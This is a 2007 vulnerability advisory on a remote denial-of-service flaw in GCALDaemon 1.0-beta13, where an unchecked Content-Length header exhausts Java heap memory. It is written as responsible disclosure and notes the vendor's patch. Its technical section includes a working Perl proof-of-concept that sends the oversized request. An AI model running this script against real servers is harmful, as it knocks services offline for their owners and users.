Security Research Advisory

GCALDaemon 1.0

Remote Denial of Service

Table of Contents

Denial of Service					Advisory Number
					SN-07-01
Severity	Software	Version(s)	Accessibility	CVE	Author(s)
M	GCALDaemon	1.0-beta13	Remote	-	Luca Carettoni
	Vendor URL		Advisory URL		
	http://gcaldaemon.sourceforge.net		-		

Date	Details
22/08/2007	Vendor disclosure
22/08/2007	Vendor acknowledgment
19/09/2007	Patch release
18/09/2007	Public disclosure

Summary

GCALDaemon is an OS-independent Java program that offers two-way synchronization between Google Calendar and various iCalendar compatible calendar applications. GCALDaemon is primarily designed as a calendar synchronizer but it can also be used as a Gmail notifier, Address Book importer, Gmail terminal and RSS feed converter.

Sunbird/Kontact/Firefox/ThunderBird/Mozilla Calendar all share calendars over HTTP, by uploading their file via an HTTP PUT and getting/refreshing their calendar with an HTTP GET. The GCALDaemon's built-in HTTP server keeps this HTTP messages in sync with a specified Google Calendar. An input validation flaw permits to craft an HTTP request with an abnormal content-length value; this malformed request could trigger a denial of service that arises from a Java out of memory fatal error.

Vulnerability Details

Using a crafted HTTP request, an attacker could trigger a denial of service that arises from a *java.lang.OutOfMemoryError* when the Java heap space is overfilled.

The vendor released the next version of the application at September 19th (1.0-beta14 for all platforms). Thanks to the GCALDaemon's developers for the great tool.

Technical Details

Description

In the file "*org/gcaldaemon/core/http/HTTPListener.java*", the GCALDaemon's built-in HTTP server parses the HTTP request and the HTTP header parameters without validation checkpoints.

In the line of code "*490:org/gcaldaemon/core/http/HTTPListener.java*" the "*Content-Length*" header parameter is used to create a new byte array; when the size of this structure is big enough, it could trigger a Java fatal error that blocks the HTTP daemon:

Stack trace:

```
Exception in thread "HTTP listener" java.lang.OutOfMemoryError: Java
heap space at
org.gcaldaemon.core.http.HTTPListener.readRequest(HTTPListener.java:490)
at org.gcaldaemon.core.http.HTTPListener.run(HTTPListener.java:167)
```

The provided proof-of-concept can trigger the issue.

PoC Exploit:

```
#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket;

my $host = shift || die "Usage: $0 host [port]\n";
my $port = shift || 9090;
my $sock = new IO::Socket::INET(PeerAddr => $host, PeerPort => $port,
    PeerProto => 'tcp')
or die "error: $!\n";
print "GCALDaemom DoS Expoit\n";
print "Just 4 seconds...\n";
sleep 4;
$sock->send("GET / HTTP/1.1\r\n");
$sock->send("Content-Length: 1000000000\r\n\r\n");
$sock->close;
print "\n\nNo more sync!\n";
```

Legal Notices

Secure Network (www.securenetwork.it) is an information security company, which provides consulting and training services, and engages in security research and development.

We are committed to open, full disclosure of vulnerabilities, cooperating with software developers for properly handling disclosure issues.

The information in the advisory is believed to be accurate at the time of publishing based on currently available information. This information is provided as-is, as a free service to the community by Secure Network research staff. There are no warranties with regard to this information. Secure Network does not accept any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.

If you have any comments or inquiries, or any issue with what is reported in this advisory, please inform us as soon as possible.

e-mail	info@securenetwork.it
phone	+39 02 917 730 41